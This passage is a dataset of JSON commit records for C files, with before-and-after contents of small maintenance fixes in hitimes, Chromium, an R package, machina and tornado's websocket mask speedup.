{"commit":"9220eaea6f9afba4cc3bc6a0ff240f3492ff5997","old_file":"ext\/hitimes\/hitimes_instant_osx.c","new_file":"ext\/hitimes\/hitimes_instant_osx.c","old_contents":"#ifdef USE_INSTANT_OSX\n\n#include \"hitimes_interval.h\"\n#include <mach\/mach.h>\n#include <mach\/mach_time.h>\n\n\/* All this OSX code is adapted from http:\/\/developer.apple.com\/library\/mac\/#qa\/qa1398\/_index.html *\/\n\n\/*\n * returns the conversion factor, this value is used to convert\n * the value from hitimes_get_current_instant() into seconds\n *\/\nlong double hitimes_instant_conversion_factor()\n{\n    static mach_timebase_info_data_t  s_timebase_info;\n    static long double                conversion_factor;\n\n    \/**\n     * If this is the first time we've run, get the timebase.\n     * We can use denom == 0 to indicate that s_timebase_info is\n     * uninitialised because it makes no sense to have a zero\n     * denominator is a fraction.\n     *\/\n\n    if ( s_timebase_info.denom == 0 ) {\n        (void) mach_timebase_info(&s_timebase_info);\n        uint64_t nano_conversion = s_timebase_info.numer \/ s_timebase_info.denom;\n        conversion_factor        = (long double) (nano_conversion) * (1e9l);\n    }\n\n    return conversion_factor;\n}\n\n\/*\n * returns the mach absolute time, which has no meaning outside of a conversion\n * factor.\n *\/\nhitimes_instant_t hitimes_get_current_instant()\n{\n    return mach_absolute_time();\n}\n\n\n#endif\n","new_contents":"#ifdef USE_INSTANT_OSX\n\n#include \"hitimes_interval.h\"\n#include <mach\/mach.h>\n#include <mach\/mach_time.h>\n\n\/* All this OSX code is adapted from http:\/\/developer.apple.com\/library\/mac\/#qa\/qa1398\/_index.html *\/\n\n\/*\n * returns the conversion factor, this value is used to convert\n * the value from hitimes_get_current_instant() into seconds\n *\/\nlong double hitimes_instant_conversion_factor()\n{\n    static mach_timebase_info_data_t  s_timebase_info;\n    static long double                conversion_factor;\n    static uint64_t                   nano_conversion;\n\n    \/**\n     * If this is the first time we've run, get the timebase.\n     * We can use denom == 0 to indicate that s_timebase_info is\n     * uninitialised because it makes no sense to have a zero\n     * denominator is a fraction.\n     *\/\n\n    if ( s_timebase_info.denom == 0 ) {\n        mach_timebase_info(&s_timebase_info);\n        nano_conversion   = s_timebase_info.numer \/ s_timebase_info.denom;\n        conversion_factor = (long double) (nano_conversion) * (1e9l);\n    }\n\n    return conversion_factor;\n}\n\n\/*\n * returns the mach absolute time, which has no meaning outside of a conversion\n * factor.\n *\/\nhitimes_instant_t hitimes_get_current_instant()\n{\n    return mach_absolute_time();\n}\n\n\n#endif\n","subject":"Clean up C Compiler warning about declaration of variables.","message":"Clean up C Compiler warning about declaration of variables.","lang":"C","license":"isc","repos":"copiousfreetime\/hitimes,modulexcite\/hitimes,modulexcite\/hitimes,modulexcite\/hitimes"}
{"commit":"126d937b48e5d84399e4050f48daeb560291fb19","old_file":"webkit\/glue\/webkit_constants.h","new_file":"webkit\/glue\/webkit_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 1.0;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 0.004;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","subject":"Revert 75430 because it's causing failures in dom_checker_tests. : Increase the minimum interval for timers on background tabs to reduce their CPU consumption.","message":"Revert 75430 because it's causing failures in dom_checker_tests.\n: Increase the minimum interval for timers on background tabs to reduce\ntheir CPU consumption.\n\nThe new interval is 1000 ms, or once per second. We can easily adjust\nthis value up or down, but this seems like a reasonable value to judge\nthe compatibility impact of this change.\n\nBUG=66078\nTEST=none (tested manually with minimal test case)\n\nReview URL: http:\/\/codereview.chromium.org\/6546021\n\nTBR=kbr@google.com\nReview URL: http:\/\/codereview.chromium.org\/6538073\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@75490 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"keishi\/chromium,jaruba\/chromium.src,patrickm\/chromium.src,nacl-webkit\/chrome_deps,robclark\/chromium,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,hujiajie\/pa-chromium,hujiajie\/pa-chromium,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,nacl-webkit\/chrome_deps,ltilve\/chromium,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,robclark\/chromium,keishi\/chromium,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,robclark\/chromium,Jonekee\/chromium.src,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,ltilve\/chromium,dushu1203\/chromium.src,Just-D\/chromium-1,keishi\/chromium,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,keishi\/chromium,patrickm\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,Just-D\/chromium-1,anirudhSK\/chromium,chuan9\/chromium-crosswalk,rogerwang\/chromium,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,patrickm\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,robclark\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,robclark\/chromium,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,rogerwang\/chromium,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,markYoungH\/chromium.src,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,rogerwang\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,keishi\/chromium,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,markYoungH\/chromium.src,dednal\/chromium.src,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,ondra-novak\/chromium.src,robclark\/chromium,Chilledheart\/chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,patrickm\/chromium.src,markYoungH\/chromium.src,Just-D\/chromium-1,ondra-novak\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,dednal\/chromium.src,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,rogerwang\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,robclark\/chromium,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,littlstar\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,Chilledheart\/chromium,robclark\/chromium,chuan9\/chromium-crosswalk,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,keishi\/chromium,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,ChromiumWebApps\/chromium,M4sse\/chromium.src,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,rogerwang\/chromium,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,keishi\/chromium,chuan9\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,jaruba\/chromium.src,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,robclark\/chromium,littlstar\/chromium.src,keishi\/chromium,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,ltilve\/chromium,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,zcbenz\/cefode-chromium,markYoungH\/chromium.src,dednal\/chromium.src,jaruba\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk"}
{"commit":"01c754ddbddc85d6e84a5312fec9fa07d9f7aa2d","old_file":"src\/r-svd-impute.h","new_file":"src\/r-svd-impute.h","old_contents":"\/* r-svd-impute.h\n *\/\n\n#ifndef _R_SVD_IMPUTE_H\n#define _R_SVD_IMPUTE_H\n \nSEXP R_svd_impute (SEXP xx, SEXP KK, SEXP tol, SEXP maxiter);\n\n#endif \/* _R_SVD_IMPUTE_H *\/\n","new_contents":"\/* r-svd-impute.h\n *\/\n\n#ifndef _R_SVD_IMPUTE_H\n#define _R_SVD_IMPUTE_H\n \nSEXP R_svd_impute (SEXP x, SEXP k, SEXP tol, SEXP maxiter);\n\n#endif \/* _R_SVD_IMPUTE_H *\/\n","subject":"Fix parameter names for svd.impute","message":"Fix parameter names for svd.impute\n","lang":"C","license":"bsd-3-clause","repos":"patperry\/r-bcv,patperry\/r-bcv,patperry\/r-bcv"}
{"commit":"8a580e79156666d46fa59aae21fecb05746b25e2","old_file":"src\/platform.h","new_file":"src\/platform.h","old_contents":"\/**\n *  machina\n *\n *  Copyright (c) 2011, drmats\n *  All rights reserved.\n *\n *  https:\/\/github.com\/drmats\/machina\n *\/\n\n#ifndef __PLATFORM_H_\n#define __PLATFORM_H_ 1\n\n\n\n\n#if defined(linux) || defined(__linux) || defined(__linux__)\n#undef __LINUX__\n#define __LINUX__   1\n#endif\n#if defined(WIN32) || defined(_WIN32)\n#undef __WIN32__\n#define __WIN32__   1\n#endif\n\n\n#ifdef __WIN32__\n#pragma warning( disable : 4290 )\n#endif\n\n\n\n\n#endif\n","new_contents":"\/**\n *  machina\n *\n *  Copyright (c) 2011, drmats\n *  All rights reserved.\n *\n *  https:\/\/github.com\/drmats\/machina\n *\/\n\n#ifndef __PLATFORM_H_\n#define __PLATFORM_H_ 1\n\n\n\n\n#if defined(linux) || defined(__linux) || defined(__linux__)\n#undef __LINUX__\n#define __LINUX__   1\n#endif\n#if defined(WIN32) || defined(_WIN32)\n#undef __WIN32__\n#define __WIN32__   1\n#endif\n\n\n#if defined(__WIN32__) && defined(_MSC_VER)\n#pragma warning( disable : 4290 )\n#endif\n\n\n\n\n#endif\n","subject":"Disable function exception specification warning only in cl (Visual Studio).","message":"Disable function exception specification warning only in cl (Visual Studio).\n","lang":"C","license":"bsd-2-clause","repos":"drmats\/machina"}
{"commit":"57a022230f9ae1b3f5901e26babafb2d321b4511","old_file":"tornado\/speedups.c","new_file":"tornado\/speedups.c","old_contents":"#include <Python.h>\n\nstatic PyObject* websocket_mask(PyObject* self, PyObject* args) {\n    const char* mask;\n    int mask_len;\n    const char* data;\n    int data_len;\n    int i;\n\n    if (!PyArg_ParseTuple(args, \"s#s#\", &mask, &mask_len, &data, &data_len)) {\n        return NULL;\n    }\n\n    PyObject* result = PyBytes_FromStringAndSize(NULL, data_len);\n    if (!result) {\n        return NULL;\n    }\n    char* buf = PyBytes_AsString(result);\n    for (i = 0; i < data_len; i++) {\n        buf[i] = data[i] ^ mask[i % 4];\n    }\n\n    return result;\n}\n\nstatic PyMethodDef methods[] = {\n    {\"websocket_mask\",  websocket_mask, METH_VARARGS, \"\"},\n    {NULL, NULL, 0, NULL}\n};\n\n#if PY_MAJOR_VERSION >= 3\nstatic struct PyModuleDef speedupsmodule = {\n   PyModuleDef_HEAD_INIT,\n   \"speedups\",\n   NULL,\n   -1,\n   methods\n};\n\nPyMODINIT_FUNC\nPyInit_speedups() {\n    return PyModule_Create(&speedupsmodule);\n}\n#else  \/\/ Python 2.x\nPyMODINIT_FUNC\ninitspeedups() {\n    Py_InitModule(\"tornado.speedups\", methods);\n}\n#endif\n","new_contents":"#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n\nstatic PyObject* websocket_mask(PyObject* self, PyObject* args) {\n    const char* mask;\n    Py_ssize_t mask_len;\n    const char* data;\n    Py_ssize_t data_len;\n    Py_ssize_t i;\n    PyObject* result;\n    char* buf;\n\n    if (!PyArg_ParseTuple(args, \"s#s#\", &mask, &mask_len, &data, &data_len)) {\n        return NULL;\n    }\n\n    result = PyBytes_FromStringAndSize(NULL, data_len);\n    if (!result) {\n        return NULL;\n    }\n    buf = PyBytes_AsString(result);\n    for (i = 0; i < data_len; i++) {\n        buf[i] = data[i] ^ mask[i % 4];\n    }\n\n    return result;\n}\n\nstatic PyMethodDef methods[] = {\n    {\"websocket_mask\",  websocket_mask, METH_VARARGS, \"\"},\n    {NULL, NULL, 0, NULL}\n};\n\n#if PY_MAJOR_VERSION >= 3\nstatic struct PyModuleDef speedupsmodule = {\n   PyModuleDef_HEAD_INIT,\n   \"speedups\",\n   NULL,\n   -1,\n   methods\n};\n\nPyMODINIT_FUNC\nPyInit_speedups() {\n    return PyModule_Create(&speedupsmodule);\n}\n#else  \/\/ Python 2.x\nPyMODINIT_FUNC\ninitspeedups() {\n    Py_InitModule(\"tornado.speedups\", methods);\n}\n#endif\n","subject":"Fix msvc compile error and improve 64 bit compatibility","message":"Fix msvc compile error and improve 64 bit compatibility","lang":"C","license":"apache-2.0","repos":"whip112\/tornado,wujuguang\/tornado,kippandrew\/tornado,legnaleurc\/tornado,sxfmol\/tornado,VShangxiao\/tornado,andyaguiar\/tornado,jparise\/tornado,takeshineshiro\/tornado,futurechallenger\/tornado,0x73\/tornado,InverseLina\/tornado,dongpinglai\/my_tornado,ymero\/tornado,elelianghh\/tornado,wxhzk\/tornado-1,Aaron1992\/tornado,icejoywoo\/tornado,hzruandd\/tornado,tianyk\/tornado-research,yangkf1985\/tornado,eXcomm\/tornado,Polyconseil\/tornado,wsyzxcn\/tornado,codeb2cc\/tornado,codecov\/tornado,xinyu7\/tornado,anandology\/tornado,VShangxiao\/tornado,tianyk\/tornado-research,tianyk\/tornado-research,anandology\/tornado,Geoion\/tornado,hzruandd\/tornado,arthurdarcet\/tornado,noxiouz\/tornado,yuezhonghua\/tornado,ymero\/tornado,ovidiucp\/tornado,allenl203\/tornado,Lancher\/tornado,jarrahwu\/tornado,Lancher\/tornado,VShangxiao\/tornado,felixonmars\/tornado,fengsp\/tornado,yuezhonghua\/tornado,ajdavis\/tornado,elijah513\/tornado,bywbilly\/tornado,bdarnell\/tornado,cyrusin\/tornado,Aaron1992\/tornado,pombredanne\/tornado,zguangyu\/tornado,kangbiao\/tornado,ZhuPeng\/tornado,arthurdarcet\/tornado,djt5019\/tornado,ZhuPeng\/tornado,anjan-srivastava\/tornado,0x73\/tornado,BencoLee\/tornado,ydaniv\/tornado,QuanZag\/tornado,frtmelody\/tornado,Windsooon\/tornado,ColorFuzzy\/tornado,AlphaStaxLLC\/tornado,Fydot\/tornado,0xkag\/tornado,yuyangit\/tornado,johan--\/tornado,NoyaInRain\/tornado,Geoion\/tornado,kangbiao\/tornado,Snamint\/tornado,djt5019\/tornado,whip112\/tornado,shaohung001\/tornado,mehmetkose\/tornado,pombredanne\/tornado,Polyconseil\/tornado,liqueur\/tornado,gwillem\/tornado,hzruandd\/tornado,djt5019\/tornado,johan--\/tornado,nordaux\/tornado,gwillem\/tornado,Fydot\/tornado,304471720\/tornado,ydaniv\/tornado,Windsooon\/tornado,ubear\/tornado,AlphaStaxLLC\/tornado,mehmetkose\/tornado,lsanotes\/tornado,shashankbassi92\/tornado,shashankbassi92\/tornado,yuezhonghua\/tornado,zhuochenKIDD\/tornado,Polyconseil\/tornado,akalipetis\/tornado,lilydjwg\/tornado,jehiah\/tornado,fengshao0907\/tornado,mivade\/tornado,gwillem\/tornado,dongpinglai\/my_tornado,sevenguin\/tornado,cyrilMargaria\/tornado,legnaleurc\/tornado,noxiouz\/tornado,MjAbuz\/tornado,kaushik94\/tornado,Windsooon\/tornado,wujuguang\/tornado,djt5019\/tornado,LTD-Beget\/tornado,noxiouz\/tornado,ymero\/tornado,cyrusin\/tornado,cyrusin\/tornado,kippandrew\/tornado,liqueur\/tornado,sunjeammy\/tornado,dsseter\/tornado,bywbilly\/tornado,bdarnell\/tornado,whip112\/tornado,Polyconseil\/tornado,gitchs\/tornado,coderhaoxin\/tornado,Callwoola\/tornado,kevinge314gh\/tornado,arthurdarcet\/tornado,elijah513\/tornado,0x73\/tornado,liqueur\/tornado,gitchs\/tornado,LTD-Beget\/tornado,sxfmol\/tornado,frtmelody\/tornado,mehmetkose\/tornado,erichuang1994\/tornado,mr-ping\/tornado,shashankbassi92\/tornado,NoyaInRain\/tornado,importcjj\/tornado,lsanotes\/tornado,dongpinglai\/my_tornado,pombredanne\/tornado,codeb2cc\/tornado,eklitzke\/tornado,eXcomm\/tornado,mivade\/tornado,dsseter\/tornado,insflow\/tornado,ajdavis\/tornado,nephics\/tornado,obsh\/tornado,fengsp\/tornado,wujuguang\/tornado,chenxiaba\/tornado,sxfmol\/tornado,anjan-srivastava\/tornado,noxiouz\/tornado,andyaguiar\/tornado,takeshineshiro\/tornado,ajdavis\/tornado,importcjj\/tornado,arthurdarcet\/tornado,kippandrew\/tornado,dongpinglai\/my_tornado,0x73\/tornado,jarrahwu\/tornado,wechasing\/tornado,sxfmol\/tornado,zhuochenKIDD\/tornado,takeshineshiro\/tornado,AlphaStaxLLC\/tornado,304471720\/tornado,fengshao0907\/tornado,yangkf1985\/tornado,ms7s\/tornado,drewmiller\/tornado,SuminAndrew\/tornado,shashankbassi92\/tornado,chenxiaba\/tornado,Polyconseil\/tornado,futurechallenger\/tornado,leekchan\/tornado_test,InverseLina\/tornado,obsh\/tornado,elijah513\/tornado,arthurdarcet\/tornado,hhru\/tornado,allenl203\/tornado,wxhzk\/tornado-1,kevinge314gh\/tornado,jehiah\/tornado,ifduyue\/tornado,jarrahwu\/tornado,ZhuPeng\/tornado,elijah513\/tornado,0xkag\/tornado,jonashagstedt\/tornado,sevenguin\/tornado,drewmiller\/tornado,whip112\/tornado,xinyu7\/tornado,Batterfii\/tornado,cyrilMargaria\/tornado,lujinda\/tornado,InverseLina\/tornado,andyaguiar\/tornado,nbargnesi\/tornado,jparise\/tornado,codeb2cc\/tornado,codecov\/tornado,jarrahwu\/tornado,sunjeammy\/tornado,chenxiaba\/tornado,cyrilMargaria\/tornado,ms7s\/tornado,QuanZag\/tornado,elijah513\/tornado,Acidburn0zzz\/tornado,QuanZag\/tornado,mlyundin\/tornado,chenxiaba\/tornado,sevenguin\/tornado,z-fork\/tornado,wxhzk\/tornado-1,codecov\/tornado,jsjohnst\/tornado,InverseLina\/tornado,coderhaoxin\/tornado,MjAbuz\/tornado,anandology\/tornado,fengshao0907\/tornado,icejoywoo\/tornado,shashankbassi92\/tornado,mr-ping\/tornado,z-fork\/tornado,Batterfii\/tornado,drewmiller\/tornado,nordaux\/tornado,Geoion\/tornado,ColorFuzzy\/tornado,mlyundin\/tornado,zhuochenKIDD\/tornado,eklitzke\/tornado,eXcomm\/tornado,Lancher\/tornado,nbargnesi\/tornado,takeshineshiro\/tornado,ListFranz\/tornado,cyrilMargaria\/tornado,ColorFuzzy\/tornado,allenl203\/tornado,andyaguiar\/tornado,futurechallenger\/tornado,importcjj\/tornado,djt5019\/tornado,hhru\/tornado,fengsp\/tornado,gitchs\/tornado,bdarnell\/tornado,kaushik94\/tornado,Geoion\/tornado,SuminAndrew\/tornado,allenl203\/tornado,tornadoweb\/tornado,LTD-Beget\/tornado,sunjeammy\/tornado,gwillem\/tornado,drewmiller\/tornado,Drooids\/tornado,elelianghh\/tornado,ListFranz\/tornado,lsanotes\/tornado,futurechallenger\/tornado,anjan-srivastava\/tornado,MjAbuz\/tornado,Callwoola\/tornado,LTD-Beget\/tornado,cyrusin\/tornado,nordaux\/tornado,djt5019\/tornado,sunjeammy\/tornado,jsjohnst\/tornado,NoyaInRain\/tornado,kangbiao\/tornado,304471720\/tornado,Drooids\/tornado,nbargnesi\/tornado,SuminAndrew\/tornado,Aaron1992\/tornado,Drooids\/tornado,zhuochenKIDD\/tornado,johan--\/tornado,importcjj\/tornado,yuezhonghua\/tornado,yangkf1985\/tornado,Fydot\/tornado,kevinge314gh\/tornado,jonashagstedt\/tornado,fengsp\/tornado,cyrilMargaria\/tornado,tornadoweb\/tornado,ListFranz\/tornado,allenl203\/tornado,kangbiao\/tornado,jampp\/tornado,ifduyue\/tornado,jsjohnst\/tornado,icejoywoo\/tornado,ovidiucp\/tornado,futurechallenger\/tornado,ListFranz\/tornado,ZhuPeng\/tornado,ymero\/tornado,Acidburn0zzz\/tornado,nbargnesi\/tornado,Windsooon\/tornado,Drooids\/tornado,eklitzke\/tornado,LTD-Beget\/tornado,icejoywoo\/tornado,coderhaoxin\/tornado,MjAbuz\/tornado,nephics\/tornado,wsyzxcn\/tornado,fengshao0907\/tornado,kaushik94\/tornado,jampp\/tornado,wxhzk\/tornado-1,jampp\/tornado,Batterfii\/tornado,andyaguiar\/tornado,dsseter\/tornado,erichuang1994\/tornado,arthurdarcet\/tornado,NoyaInRain\/tornado,VShangxiao\/tornado,mr-ping\/tornado,Fydot\/tornado,elelianghh\/tornado,wsyzxcn\/tornado,zguangyu\/tornado,Windsooon\/tornado,pombredanne\/tornado,gwillem\/tornado,mivade\/tornado,Polyconseil\/tornado,ymero\/tornado,dsseter\/tornado,frtmelody\/tornado,lsanotes\/tornado,cyrusin\/tornado,yuyangit\/tornado,eXcomm\/tornado,tianyk\/tornado-res